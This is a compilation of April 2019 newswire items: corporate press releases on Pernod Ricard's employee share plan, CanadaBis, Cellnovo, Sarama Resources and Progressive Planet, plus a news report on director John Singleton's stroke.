Reuters: KORI.PA Bloomberg: KORI.FP View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005395/en/ Contacts: INVESTOR CONTACT Carole Alexandre Deputy Head of Investor Relations carole.alexandre@korian.com Tel: +33 (0)7 64 65 22 44 PRESS CONTACT Marjorie Castoriadis Head of Media Relations marjorie.castoriadis@korian.fr Tel: +33 (0)7 63 59 88 81 Regulatory News: Press release 26 April 2019 From 29 April 2019, Pernod Ricard (Paris:RI) employees will have the opportunity to take part in their first share ownership plan, involving 18 countries and representing 75% of the Group's workforce. This plan is the result of preparatory work carried out for almost a year by Group Headquarters and teams from the 18 eligible markets, and it was formally approved by the Board of Directors on 17 October 2018. All beneficiaries will be able to purchase Pernod Ricard shares under favourable terms as part of the Group Savings Plan (GSP) and an International Group Savings Plan (IGSP). For further details, please refer to the regulatory communication attached to this press release. This scheme, called "Accelerate", is in line with the 3-year strategic plan "Transform Accelerate", focused on investing for sustainable and profitable long-term growth for all its stakeholders, beginning with its employees. This inaugural employee share ownership plan is considered to be an inflexion point in the new Human Resources strategy currently being rolled out, as reflected by recently announced initiatives, such as the launch of a new leadership model, the global roll-out of the HR Workday solution and all the managerial initiatives covered by the 2030 Sustainability Responsibility roadmap. With all these projects, the Group is reaffirming the mindset that drives its 19,000 "Createurs de Convivialite", whose commitment continues to grow. 90% of them state they "understand and adhere to the Group's objectives" with 94% saying they are "proud to be part of Pernod Ricard" (I Say Study, June 2017, conducted by Willis Towers Watson). Alexandre Ricard, Chairman and CEO, said, "Our growth has already reached a certain level and the aim of our three-year Transform Accelerate plan is to take us further and faster on our way to leadership. This ambition cannot be achieved without fully associating our employees, as they are the driving force behind this growth. Over 50 years ago our founder, Paul Ricard, was a pioneer in the field, offering Ricard employees innovative profit sharing and company savings plans. We are delighted to maintain this culture, which places the concept of sharing at the heart of our model and our performance. About Pernod Ricard Pernod Ricard is the world's n2 in wines and spirits with consolidated Sales of 8,987 million in FY18. Created in 1975 by the merger of Ricard and Pernod, the Group has undergone sustained development, based on both organic growth and acquisitions: Seagram (2001), Allied Domecq (2005) and Vin&Sprit (2008). Pernod Ricard holds one of the most prestigious brand portfolios in the sector: Absolut Vodka, Ricard pastis, Ballantine's, Chivas Regal, Royal Salute and The Glenlivet Scotch whiskies, Jameson Irish whiskey, Martell cognac, Havana Club rum, Beefeater gin, Malibu liqueur, Mumm and Perrier-Jouet champagnes, as well Jacob's Creek, Brancott Estate, Campo Viejo and Kenwood wines. Pernod Ricard employs a workforce of approximately 19, 000 people and operates through a decentralised organisation, with 6 "Brand Companies" and 86 "Market Companies" established in each key market. Pernod Ricard is strongly committed to a sustainable development policy and encourages responsible consumption. Pernod Ricard's strategy and ambition are based on 3 key values that guide its expansion: entrepreneurial spirit, mutual trust and a strong sense of ethics. Pernod Ricard is listed on Euronext (Ticker: RI; ISIN code: FR0000120693) and is part of the CAC 40 index. DETAILS OF THE OPERATION ISSUER PERNOD RICARD Euronext Paris Compartment A ISIN code for ordinary shares FR0000120693 RI Share admitted to the Deferred Settlement System (SRD) FRAMEWORK OF THE OPERATION On 17 October 2018, the Board of Directors of Pernod Ricard (the "Company") decided on the principle of a sale of Pernod Ricard shares reserved for eligible employees and corporate officers of the Company and its affiliates within the meaning of Article L. 225-180 of the French Commercial Code and Article L. 3344-1 of the French Labour Code who are members of the Pernod Ricard group savings plan or the Pernod Ricard international group savings plan (the "Group"). The shares sold to employees will come either from treasury shares or from the implementation of the share buyback program decided by the Board of Directors on November 21, 2018 under the 12th resolution adopted by the shareholders on November 21, 2018. This share offering is offered to all Group employees in France, Argentina, Australia, Brazil, Canada, China, Germany, Hong Kong, India, Ireland, Japan, Mexico, New Zealand, Poland, Spain, Sweden, United Kingdom, USA, who will be eligible to the Pernod Ricard Group Savings Plan or to the Pernod Ricard International Group Savings Plan, subject to obtaining the necessary authorisations from the local authorities. CONDITIONS OF THE OFFERING The beneficiaries The beneficiaries of this share offering are the Group's eligible employees and corporate officers who are members of the Pernod Ricard Group Savings Plan or the Pernod Ricard International Group Savings Plan (the "Beneficiaries"). The eligible corporate officers are those who meet the conditions of Article L. 3332-2 of the French Labour Code. Both the eligible employees and corporate officers are those who have been employed for at least three months. Number of shares offered This share offering is proposed to the Beneficiaries within the limit of 480.000 shares. The proposed formula Beneficiaries are offered to acquire Pernod Ricard shares under a leveraged formula (via an exchange contract with a bank) under which the Beneficiary who participates in the share offering receives at least the amount of his personal contribution at maturity, plus either a guaranteed return of 4% or, if higher, a multiple of the performance of the Pernod Ricard shares. In most countries, the acquisition of shares will be made through an employee shareholding fund (FCPE) created specifically for the purpose of the employee share ownership offering. In two countries, the acquisition of shares will be carried out directly. Purchase price The Board of Directors has delegated to the Chairman and Chief Executive Officer the power to set the purchase price of the shares, which will be equal to 80% of the average opening price of the Pernod Ricard share on the Euronext Paris market during the twenty trading days preceding the day on which it is set. The purchase price is expected to be set on June 13, 2019. Individual acquisition limit The individual investment limit (excluding the bank's contribution) is 2.5% of gross annual remuneration. Lock-up period Participants in the offering must keep the shares subscribed directly or the FCPE units until July 18, 2024, unless an early exit event occurs. Voting rights The voting rights of the unit holders of the employee shareholding funds will be exercised at Pernod Ricard's general meetings by the Supervisory Board of the employee shareholding fund or directly by the employee subscribers in countries where the shares are subscribed directly. INDICATIVE TIMETABLE FOR THE OPERATION Reservation period: between 29 April and 13 May 2019 Purchase price set on: June 13, 2019 Cancellation period: between 19 and 21 June 2019 Settlement/delivery of shares: July 18, 2019 These dates are provided for information only and may change. HEDGING TRANSACTIONS The introduction of a leveraged offering may cause the structuring bank, as a counterpart to the trade, to generate hedging agreements prior to setting up the share offering, from the date of the publication of this press release and throughout the duration of the operation. Furthermore, the Company intends to acquire a number of shares up to the maximum number being offered in the offering described above. SPECIFIC STATEMENTS FOR INTERNATIONAL This press release does not constitute an offer of sale or solicitation for the acquisition of Pernod Ricard shares. The offering of Pernod Ricard shares reserved for employees will be set up only in countries where such an offer has been registered with the competent local authorities and/or following the approval of a prospectus by the competent local authorities, or in consideration of an exemption from the obligation to prepare a prospectus or to register an offer. In general, the offer will be made only in countries where all the registration and/or notification procedures required have been completed and the authorisations obtained. This press release is not intended for, and therefore copies of it may not be sent to, countries in which such a prospectus has not been approved or such an exemption would not be approved or in which all registration and/or notification procedures required have not yet been completed or authorisations have not been obtained. This press release constitutes a communication as required by the AMF in accordance with Article 19 of Instruction N2016-04 of 15 January 2018. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005497/en/ Contacts: Pernod Ricard Contacts Julia MASSIES VP, Financial Communication Investor Relations +33 (0) 1 41 00 42 02 Adam RAMJEAN Investor Relations Manager +33 (0) 1 41 00 41 59 Fabien DARRIGUES External Communications Director +33 (0) 1 41 00 44 86 Emmanuel VOUIN Press Relations Manager +33 (0) 1 41 00 44 04 Photo: The Canadian Press John Singleton arrives at the 70th annual Directors Guild of America Awards in Beverly Hills, Calif. "Boyz N the Hood" director John Singleton is in a coma at a Los Angeles hospital eight days after suffering a major stroke, court papers filed Thursday showed. The 51-year-old director's condition was revealed in a court filing from his mother, Shelia Ward, who is requesting she be immediately appointed his temporary conservator to make medical and financial decisions for him while he is incapacitated. Singleton's family had previously announced that he'd had a stroke on April 17, but there had been no details revealed about the seriousness of his condition. Friends, colleagues and fans including Viola Davis, Mark Wahlberg and Guillermo Del Toro have offered prayers and wished Singleton well since the announcement. Singleton became the first black director to receive an Academy Award nomination when he was cited for his debut feature, "Boyz N the Hood." The 1991 film about the lives of young men in South Central Los Angeles starred Cuba Gooding, Jr., Ice Cube, Angela Bassett and Laurence Fishburne. His other films include 1993's "Poetic Justice," which starred Janet Jackson and Tupac Shakur, 1997's "Rosewood," and 2003's "2 Fast 2 Furious." Singleton's recent projects include the FX TV series "Snowfall," a crime drama set in 1980s Los Angeles. The documents put the value of Singleton's estate at $1.4 million. The papers say that at the time of the stroke, Singleton was engaged in several business deals and had been set to sign a lucrative settlement agreement on or around April 30. The documents say that if a conservator cannot sign the papers on his behalf, it will mean a big financial loss. The documents also include a doctor's statement that Singleton is incapable of giving consent for medical treatment. Singleton had no existing medical directives in place before the stroke, the documents stated. It's not clear whether the temporary conservatorship has been granted. Messages left with Singleton's publicist and his mother's attorney were not immediately returned. The family had initially acknowledged on Saturday that Singleton had suffered a stroke, saying he was "under great medical care" in an intensive care unit. CALGARY, AB / ACCESSWIRE / April 26, 2019 / CanadaBis Capital Inc. (CANB.P: TSX-V) is pleased to announce that it has completed its previously announced qualifying transaction (the "Transaction") with 1926360 Alberta Ltd. dba Stigma Pharmaceuticals ("Stigma"). The Transaction constitutes a "Qualifying Transaction" as such term is defined by Policy 2.4 of the TSX Venture Exchange (the "TSXV") Corporate Finance Manual and was completed by way of three corner amalgamation pursuant to which Stigma amalgamated with a newly formed wholly owned subsidiary to form a new amalgamated company ("Amalco"), which now holds Stigma's assets as well as its wholly owned subsidiary. Amalco shall operate under the name "Stigma Pharmaceuticals Inc." CanadaBis has obtained final approval to list its common shares on the TSXV as a Tier 2 Life Sciences Issuer. The common shares are expected to begin trading on the TSXV at the opening of markets on or about April 30th, 2019, under the symbol CANB. Following the Transaction, the Company will continue, through its subsidiaries, to operate the business of Stigma Grow and continue to be focused on producing high-quality and uniquely crafted products for the Alberta market. "Our day-to-day focus will be on exploring a product and industry whose potential has gone unrealized for far too long, we are excited to help fill the void that we currently see in the Canadian cannabis market by offering better products to the local consumer while providing responsible and diversified investment to the industry on both a local and global scale" said Travis McIntyre, President and CEO. The facility in Red Deer was awarded a Standard Cultivation License by Health Canada on March 8th of 2019. This cultivation license is one of only twelve administered in Alberta by Health Canada and will allow for the possession, production and distribution of cannabis in dried, fresh, plant and seed form. In addition, the Company has been awarded a Standard Processing License which will allow the Red Deer facility to process dried flower and manufacture cannabis oil products. Stigma Grow has the benefit of over three years of independent genetic research on 42 proprietary strains making them perfectly positioned to supply Albertans with a portfolio of uniquely developed craft cannabis products that offer potency, consistency and high-quality experience that is lacking from many large-scale commercial producers. With the completion of the Qualifying Transaction, CanadaBis Capital Inc. anticipates being in position to expand business, increase cultivation facilities, add retail locations, further develop into extractions and processing in preparation of the upcoming legalization of edibles, and continue to be a vertically-integrated cannabis company offering a keystone portfolio in Western Canada. Following closing of the Transaction, the board of directors will be comprised of the following individuals: Travis McIntyre, Gregory Smith, Barbara O'Neill, Scott Reeves and Alex Michaud. In addition, Travis McIntyre and Shawn Ryan will be appointed as President/Chief Executive Officer and Chief Financial Officer, respectively. The Board of Directors of CanadaBis has authorized the grant of 2,825,000 incentive stock options to certain of its directors, officers, employees, and consultants. Each option entitles the holder to acquire one Common Share in the Company at an exercise price of $0.50 per share. The options vest at a rate of one-third (1/3) each on the one-year, two-year and three-year anniversaries from the date of grant and expire five years from the date of grant. In addition, pursuant to private placements completed by Stigma in November 2018 and February 2019 (the "Stigma Financings"), the Filing Statement (as defined below) mistakenly disclosed that the subscribers to the Stigma Financings subscribed for common shares rather than units. Each unit issued pursuant to the Stigma Financings consisted of one common share and one-half of one purchase warrant (each whole purchase warrant a "Warrant"), each Warrant exercisable into one Stigma share at a strike price of $1.00 for a period of 12 months from the date of issue. As a result, following the Transaction, CanadaBis will have issued and outstanding 2,611,143 Warrants exercisable until November 9, 2019, 277,000 Warrants exercisable until February 11, 2020 and 1,000,000 Warrants exercisable until April 25, 2020 each at a strike price of $1.00 per CanadaBis share. 238,000 of the Warrants issuable to principals of Stigma will be held in escrow pursuant to a surplus escrow agreement. Full details of the Transaction and certain other matters are set out in the filing statement dated April 1, 2019 (the "Filing Statement"). A copy of the Filing Statement can be found under our SEDAR profile on SEDAR at www.sedar.com. About CanadaBis CanadaBis Capital Inc. is an Alberta-based cannabis company that, through its wholly owned subsidiary Stigma Grow, produces high-quality products for the Alberta marketplace. The Company exhibits the highest standards in quality control, optimal yields and wide ranging cannabinoid profiles. The newly constructed 22,000 square foot growth facility in Red Deer County is licensed by Health Canada to cultivate and process cannabis, with further expansion planned in 2019/2020. For more information please contact: Investor Relations 1-888-STI-GMA1 info@stigmagrow.ca CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This news release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to our business and operations including development and expansion plans and the timing thereof. Forward-looking statements are necessarily based upon a number of assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to: compliance with extensive government regulation, the general business, economic, competitive, political and social uncertainties; requirement for further capital, delay or failure to receive board, shareholder or regulatory approvals; the results of operations and such other matters as set out in the Filing Statement available on SEDAR at www.sedar.com. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. Investors are cautioned that forward-looking information is not based on historical facts but instead reflects management's expectations, estimates or projections concerning future results or events based on the opinions, assumptions and estimates of management considered reasonable at the date the statements are made. Although we believe that the expectations reflected in such forward-looking information are reasonable, such information involves risks and uncertainties, and undue reliance should not be placed on such information, as unknown or unpredictable factors could have material adverse effects on our future results, performance or achievements. Should one or more of these risks or uncertainties materialize, or should assumptions underlying the forward-looking information prove incorrect, actual results may vary materially from those described herein as intended, planned, anticipated, believed, estimated or expected. Although we have attempted to identify important risks, uncertainties and factors which could cause actual results to differ materially, there may be others that cause results not to be as anticipated, estimated or intended. We do not intend, and do not assume any obligation, to update this forward-looking information except as otherwise required by applicable law. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE: CanadaBis Capital Inc. View source version on accesswire.com:https://www.accesswire.com/543149/CanadaBis-Completes-Qualifying-Transaction Regulatory News: Cellnovo Group SA (Paris:CLNV) ("Cellnovo" or the "Company" - CLNV: EN Paris) has today informed the Paris Commercial Court of its suspension of payments and requested the initiation of compulsory liquidation proceedings (procedure de liquidation judiciaire) with cessation of business. As announced in previous press releases, the Company had obtained the appointment of a conciliator (conciliateur) in order to support and secure the search for a buyer and financing initiated within the framework of the opening of collective insolvency proceedings under English law (procedure collective de droit anglais) regarding its operating subsidiary, Cellnovo Limited. The expressions of interest received within this framework are limited to the assets held by Cellnovo Limited, but do not include the purchase of the Company or its assets. The vast majority of the group's assets, in particular the intellectual property portfolio and research and production assets, are held by Cellnovo Limited, Cellnovo Group SA's assets being limited to the shares of its wholly-owned subsidiary, Cellnovo Limited. The Company is therefore obliged to request the opening of compulsory liquidation proceedings with cessation of business, all manufacturing and commercial activities having already been discontinued within the framework of the restructuring plan initiated by Cellnovo Limited's board members. The request to open the compulsory liquidation will be considered by the Paris Commercial Court on May 9, 2019. The Company will communicate as soon as possible after the outcome of the hearing. Cellnovo is listed on Euronext, Compartment C ISIN: FR0012633360 Ticker: CLNV) Cellnovo Disclaimer This press release contains certain forward-looking statements. Although the Company believes its expectations are based on reasonable assumptions, these forward-looking statements are subject to numerous risks and uncertainties, which could cause actual results to differ materially from those anticipated. For review of risks and uncertainties which could cause Cellnovo's actual results, financial condition, performance or achievements to differ from those contained in the forward-looking statements, please refer to the Presentation of the Main Risks and Uncertainties ("Description des principaux risques et incertitudes") set forth in Exhibit 1 of the 2017 Annual Financial Report ("Rapport Financier Annuel") and Risks and Uncertainities ( Risques et incertitudes ) section #2.8 of the 2018 Half-yearly Financial Report ("Rapport Financier Semerstriel") of the Company published on the website of Cellnovo Group (www.cellnovo.com), respectively, on April 30, 2018 and November 26, 2018. This press release and the information contained herein do not constitute an offer to sell or a solicitation of an offer to buy or subscribe to shares in Cellnovo Group in any country. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005510/en/ Contacts: Cellnovo Chief Executive Officer Sophie Baratte investors@cellnovo.com NewCap Investor Relations Dusan Oresansky + 33 1 44 71 94 92 cellnovo@newcap.eu NewCap Media Relations in France Nicolas Merigeau + 33 1 44 71 94 98 cellnovo@newcap.eu Not for Distribution to a United States Newswire or for Dissemination in the United States VANCOUVER, BC / ACCESSWIRE / April 26, 2019 / Sarama Resources Limited ("Sarama" or the "Company") is pleased to announce that further to its press release issued April 9, 2019 in relation to the Company's proposed private placement, due to strong support from existing shareholders and new investors, the Company has increased its offering to up to 69,411,765 common shares at a price of C$0.085 per common share to raise gross proceeds of up to C$5,900,000 (the "Private Placement"). All other terms of the Private Placement remain the same. Andrew Dinning, Sarama Resources CEO commented: "We are pleased with the interest and support shown in this capital raising and have decided to take the additional funds on offer. The additional proceeds will be used to accelerate the growth of our oxide and free-milling mineral resource base which will in turn allow us to more rapidly define the development opportunity that we have in the southern Hounde belt." Figure 1 - Sarama Resources' Exploration and Development Projects in South-West Burkina Faso The proceeds of the Private Placement will be used to fund payments to regain 100% ownership of the South Hounde Project (news release dated 27 November 2018), exploration activities and to meet working capital requirements of the Company. Sarama intends to undertake a resource development program to firm-up and expand existing oxide and free-milling mineral resources on the South Hounde and ThreeBee Projects. The South Hounde Project hosts an inferred mineral resource of 2.1Moz Au(1), including an oxide and transition component of 611koz Au(1). The ThreeBee Project hosts the Bondi Deposit which has a historical mineral resource(1) of 282koz Au measured and indicated; and 150koz Au inferred. Together, these projects form the foundation for possible development in the region. Exploration drilling in 2018 has identified extensions to the Bondi Deposit and new zones of high potential. The ThreeBee Project also hosts the Bamako Property where a +3km-long gold-quartz vein system has been identified that has returned rock-chip assays up to 18.9g/t Au and gold-in-soil values of up to 13.6g/t Au and historical scout drilling results including 16m @ 6.1g/t Au. The Private Placement will be conducted on a non-brokered basis to accredited investors pursuant to prospectus exemptions available under applicable securities laws and is subject to the approval of the TSX Venture Exchange. A four-month hold period will apply to all the Shares. The Company plans to close the Private Placement on or about April 29, 2019 but reserves the right to extend the closing date and may close the placement in one or more tranches. The Shares have not been and will not be registered under the United States Securities Act of 1933, as amended, (the "U.S. Securities Act") or any state securities laws and may not be offered or sold within the United States unless registered under the U.S. Securities Act and applicable state securities laws or an exemption from registration is available. This announcement does not constitute an offer to sell or a solicitation of an offer to buy any of the Shares within the United States or to, or for the account or benefit of, U.S. Persons (as defined under Regulation S under the U.S. Securities Act), nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful. Early Warning Notice As announced on April 9, 2019, Silver Lake Resources Limited ("Silver Lake") has agreed to participate in the Private Placement. Silver Lake, whose head office is at Suite 4, Level 3, South Shore Centre, 85 South Perth Esplanade, South Perth WA 6151, Australia, has agreed to subscribe for an aggregate of 29,529,000 Common Shares at C$0.085 each for gross proceeds of C$2,509,965. Silver Lake owned no Common Shares prior to the Private Placement. Assuming the issuance of an aggregate of 69,411,765 Common Shares by Sarama in the Private Placement, Silver Lake would own 11.76% of Sarama's outstanding Common Shares upon completion of the Private Placement. Pursuant to an Ancillary Rights Agreement to be entered into between Sarama and Silver Lake as part of the Private Placement, Silver Lake will have a pre-emptive right to participate in any future proposed equity offering of Sarama in order to maintain its pro rata interest until such time as Sarama achieves commercial production. Silver Lake will also be subject to a broad distribution undertaking should it wish to dispose of any of its Common Shares and a standstill provision whereby Silver Lake will not acquire ownership of 20% or more of the common shares in Sarama without the consent of Sarama, in both cases so long as it holds at least 5% of the Common Shares. The Common Shares will be acquired for investment purposes by Silver Lake. Silver Lake does not have any present intention to acquire ownership of, or control over, additional securities of Sarama. It is the intention of Silver Lake to evaluate its investment in Sarama on a continuing basis and such holdings may be increased or decreased in the future. For further information on the Company's activities, please contact: Andrew Dinning or Lui Evangelista e: info@saramaresources.com t: +61 (0) 8 9363 7600 ABOUT SARAMA RESOURCES LTD Sarama Resources Ltd (TSX-V: SWA) is a West-African focused gold explorer and developer with substantial landholdings in Burkina Faso. Sarama is focused on consolidating under-explored landholdings in Burkina Faso and advancing its key projects towards development. Sarama's 100%-owned(7) South Hounde and ThreeBee Projects are located within the prolific Hounde Greenstone Belt in south-west Burkina Faso and are the exploration and development focus of the company. Its exploration programs have successfully discovered an inferred mineral resource estimate of 2.1Moz gold(2) at the South Hounde Project which is complemented by the ThreeBee Project's Bondi Deposit (historical estimate of mineral resources of 0.3Moz Au measured and indicated and 0.1Moz Au inferred(2)). Together, the projects form a cluster of advanced gold deposits, within trucking distance of one another, which potentially offers a development option for a multi-source fed central processing facility in the southern Hounde Belt region of Burkina Faso. Sarama has also built a growth pipeline which features a new 600km exploration position in the highly prospective Banfora Belt in south-western Burkina Faso. The Koumandara Project hosts several regional-scale structural features and trends of gold-in-soil anomalism extending for over 40km along strike. Sarama holds a 25% participating interest in the Karankasso Project Joint Venture ("JV") which is situated adjacent to the Company's South Hounde Project in Burkina Faso and is a JV between Sarama and Savary Gold Corp. ("Savary"). Savary is the operator of the JV and in October 2015, declared a maiden inferred mineral resource estimate of 671,000 ounces of contained gold(3) at the Karankasso Project JV. Incorporated in 2010, the Company's Board and management team have a proven track record in Africa and a strong history in the discovery and development of large-scale gold deposits. Sarama is well positioned to build on its current success with a sound exploration strategy across its property portfolio. FOOTNOTES South Hounde Project - 43.0Mt @ 1.5g/t Au (reported above cut-off grades ranging 0.3-2.2g/t Au, reflecting the mining methods and processing flowsheets assumed to assess the likelihood of the inferred mineral resources having reasonable prospects for eventual economic extraction). This mineral resource contains an oxide and transition component of 16.0Mt @ 1.2g/t Au for 611koz Au (reported at a cut-off grade of 0.3g/t Au for oxide and 0.8g/t Au for transition material). The effective date of the Company's inferred mineral resource estimate is February 4, 2016. For further information regarding the mineral resource estimate please refer to the technical report titled "NI 43-101 Independent Technical Report South Hounde Project Update, Bougouriba and Ioba Provinces, Burkina Faso", dated March 31, 2016 and prepared by Adrian Shepherd. Adrian Shepherd is an employee of Cube Consulting Pty Ltd and is considered to be independent of Sarama. The technical report is available under Sarama's profile on SEDAR at www.sedar.com. Bondi Deposit - 4.1Mt @ 2.1g/t Au for 282,000oz Au (measured and indicated) and 2.5Mt @ 1.8g/t Au for 149,700oz Au (inferred), reported at a 0.5 g/t Au cut-off. i. The historical estimate of the Bondi Deposit reflects a mineral resource estimate compiled by Orezone Gold Corporation ("Orezone") which has an effective date of February 20, 2009. The historical estimate is contained in a technical report titled "Technical Report on the Mineral Resource of the Bondigui Gold Project", dated date of February 20, 2009 and prepared by Yves Buro (the "Bondi Technical Report"). Yves Buro is an employee of Met-Chem Canada Inc and is considered to be independent of Orezone and Sarama. The technical report is available under Orezone's profile on SEDAR at www.sedar.com. ii. Sarama believes that the historical estimate is relevant to investors' understanding of the property, as it reflects the most recent technical work undertaken in respect of the Bondi Deposit. iii. The historical estimate was informed by 886 drillholes, assayed for gold by cyanidation methods, were used to interpret mineralised envelopes and geological zones over the area of the historical estimate. Gold grade interpolation was undertaken using ID methodology based on input parameters derived from geostatistical and geological analyses assessments. Field measurements and geological logging of drillholes were used to determine weathering boundaries and bulk densities for modelled blocks. iv. The historical estimate uses the mineral resource reporting categories required under National Instrument 43-101. v. No more recent estimates of the mineral resource or other data are available. vi. Sarama is currently undertaking the necessary verification work in the field and on the desktop that may support the future reclassification of the historical estimate to a mineral resource. vii. A qualified person engaged by Sarama has not undertaken sufficient work to verify the historical estimate as a current mineral resource and Sarama is therefore not treating the historical estimate as a current mineral resource. Karankasso Project - 9.2Mt @ 2.3g/t Au (at a 0.5g/t Au cut-off). The effective date ("Effective Date") of the most recent Karankasso Project JV mineral resource estimate that is supported by a technical report is October 7, 2015. For further information regarding that mineral resource estimate please refer to the technical report titled "Technical Report and Resource Estimate on the Karankasso Project, Burkina Faso", dated October 7, 2015 and prepared by Eugene Puritch and Antoine Yassa. Eugene Puritch and Antoine Yassa are employees of P&E Mining Consultants Inc. and are considered to be independent of Savary and Sarama. The technical report is available under Savary's profile on SEDAR at www.sedar.com. Sarama has not independently verified Savary's mineral resource estimate and takes no responsibility for its accuracy. Savary is the operator of the Karankasso Project JV and Sarama is relying on their Qualified Persons' assurance of the validity of the mineral resource estimate. Additional technical work has been undertaken on the Karankasso Project since the Effective Date, including but not limited to, metallurgical testwork, exploration drilling and mineral resource estimation, but Sarama is not in a position to quantify the impact of this additional work on the mineral resource estimate referred to above. The ThreeBee Project comprises the Djarkadougou, Botoro, Bamako(5) and Bouni(5) Properties and Sarama has, or is entitled to have, a 100% interest in each of the properties. The Djarkadougou, Bamako and Bouni Exploration Permits are going through a process with the government of Burkina Faso where it is required they be reissued as new full-term exploration permits. The Company anticipates this to be completed in due course, though there can be no assurance that the process will be successfully completed on a timely basis, or at all. For further information regarding the drilling on the Bamako and Bouni Properties, please refer to the technical report titled "NI 43-101 Independent Technical Report South Hounde Project Update, Bougouriba and Ioba Provinces, Burkina Faso", dated October 28, 2013 and prepared by Adrian Shepherd. Adrian Shepherd is an employee of Cube Consulting Pty Ltd and is considered independent of Sarama. The technical report is available under Sarama's profile on SEDAR at www.sedar.com. Drilling previously disclosed in Sarama news release of September 20, 2018. Upon completion of definitive agreements between Sarama and Acacia Mining plc. CAUTION REGARDING FORWARD LOOKING STATEMENTS Information in this disclosure that is not a statement of historical fact constitutes forward-looking information. Such forward-looking information includes statements regarding the completion of the Private Placement and the intended use of proceeds therefrom, the potential for the receipt of regulatory approvals, the completion of definitive agreements, the potential of the projects to host mineralization of significance to support regional development plans, the timing and prospects for the reissuance of the Djarkadougou, Bamako and Bouni Exploration Permits by the government of Burkina Faso, plans for exploration at the South Hounde, ThreeBee and Koumandara Projects, the potential to expand the present oxide component of the existing estimated mineral resources at the South Hounde Project and the reliability of the historical estimate of mineral resources at the Bondi Deposit. Actual results, performance or achievements of the Company may vary from the results suggested by such forward-looking statements due to known and unknown risks, uncertainties and other factors. Such factors include, among others, that the business of exploration for gold and other precious minerals involves a high degree of risk and is highly speculative in nature; changes in world commodity markets, equity markets, costs and supply of materials relevant to the mining industry; change in government and changes to regulations affecting the mining industry; Mineral Resources are not Mineral Reserves, they do not have demonstrated economic viability, and there is no certainty that they can be upgraded to Mineral Reserves through continued exploration; few properties that are explored are ultimately developed into producing mines; geological factors; the actual results of current and future exploration; changes in project parameters as plans continue to be evaluated, as well as those factors disclosed in the Company's publicly filed documents. There can be no assurance that any mineralisation that is discovered will be proven to be economic, or that future required regulatory licensing or approvals will be obtained. However, the Company believes that the assumptions and expectations reflected in the forward-looking information are reasonable. Assumptions have been made regarding, among other things, Acacia's continued funding of exploration activities, the Company's ability to carry on its exploration activities, the sufficiency of funding, the timely receipt of required approvals, the price of gold and other precious metals, that the Company will not be affected by adverse political events, the ability of the Company to operate in a safe, efficient and effective manner and the ability of the Company to obtain further financing as and when required and on reasonable terms. Readers should not place undue reliance on forward-looking information. Sarama does not undertake to update any forward-looking information, except as required by applicable laws. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. QUALIFIED PERSONS' STATEMENT Scientific or technical information in this disclosure that relates to the Company's exploration activities in Burkina Faso is based on information compiled or approved by Guy Scherrer. Guy Scherrer is an employee of Sarama Resources Ltd and is a member in good standing of the Ordre des Geologues du Quebec and has sufficient experience which is relevant to the commodity, style of mineralisation under consideration and activity which he is undertaking to qualify as a Qualified Person under National Instrument 43-101. Guy Scherrer consents to the inclusion in this disclosure of the information, in the form and context in which it appears. Scientific or technical information in this disclosure that relates to the preparation of the South Hounde Project mineral resource estimate is based on information compiled or approved by Adrian Shepherd. Adrian Shepherd is an employee of Cube Consulting Pty Ltd and is considered to be independent of Sarama Resources Ltd. Adrian Shepherd is a Chartered Professional Member in good standing of the Australasian Institute of Mining and Metallurgy and has sufficient experience which is relevant to the commodity, style of mineralisation under consideration and activity which he is undertaking to qualify as a Qualified Person under National Instrument 43-101. Adrian Shepherd consents to the inclusion in this disclosure of the information, in the form and context in which it appears. Scientific or technical information in this disclosure, in respect of the Bondi Deposit relating to mineral resource and exploration information drawn from the Technical Report prepared for Orezone on that deposit has been approved by Guy Scherrer. Guy Scherrer is an employee of Sarama Resources Ltd and is a member in good standing of the Ordre des Geologues du Quebec and has sufficient experience which is relevant to the commodity, style of mineralisation under consideration and activity which he is undertaking to qualify as a Qualified Person under National Instrument 43-101. Guy Scherrer consents to the inclusion in this disclosure of the information, in the form and context in which it appears. Scientific or technical information in this disclosure that relates to the quotation of the Karankasso Project's mineral resource estimate is based on information compiled by Paul Schmiede. Paul Schmiede is an employee of Sarama Resources Ltd and is a Fellow in good standing of the Australasian Institute of Mining and Metallurgy. Paul Schmiede has sufficient experience which is relevant to the commodity, style of mineralisation under consideration and activity which he is undertaking to qualify as a Qualified Person under National Instrument 43-101. Paul Schmiede consents to the inclusion in this disclosure of the information, in the form and context in which it appears. Paul Schmiede and Sarama have not independently verified Savary's mineral resource estimate and take no responsibility for its accuracy. SOURCE: Sarama Resources Limited View source version on accesswire.com:https://www.accesswire.com/543145/Sarama-Resources-Increases-Previously-Announced-Private-Placement-to-C59-Million VANCOUVER, BC / ACCESSWIRE / April 26, 2019 / PROGRESSIVE PLANET SOLUTIONS INC. (PLAN: TSX-V) ("Progressive Planet" or the "Company") is pleased to announce that further to its press release dated March 28th, 2019 the Company has closed the non-brokered private placement. The total raised in the financing issuing 9,000,000 units (the "Units") at a price of $0.05 per Unit for aggregate gross proceeds of $450,000.00. Each Unit is comprised of one common share (a "Share") and one Share purchase warrant (a "Warrant") of the Company. Each Warrant will entitle the holder to purchase one Share (a "Warrant Share") at a price of $0.055 per Warrant Share for a period of 12 months from the date of closing. Finders' fees of $17,200.00 and 344,000 broker warrants were paid to an arm's length party. The shares and warrants comprising the units are subject to a 4 month hold period expiring August 27th, 2019. Net proceeds of the Financing will be used for general corporate purposes and for additional infrastructure at the Company's Advanced Materials Centre (the "AMC") located in the Township of Spallumcheen, B.C. Additionally, the Company announces the resignation of Mr. Stephen Pearce from the board of directors effective immediately. The Company wishes to sincerely thank Mr. Pearce for his contributions and 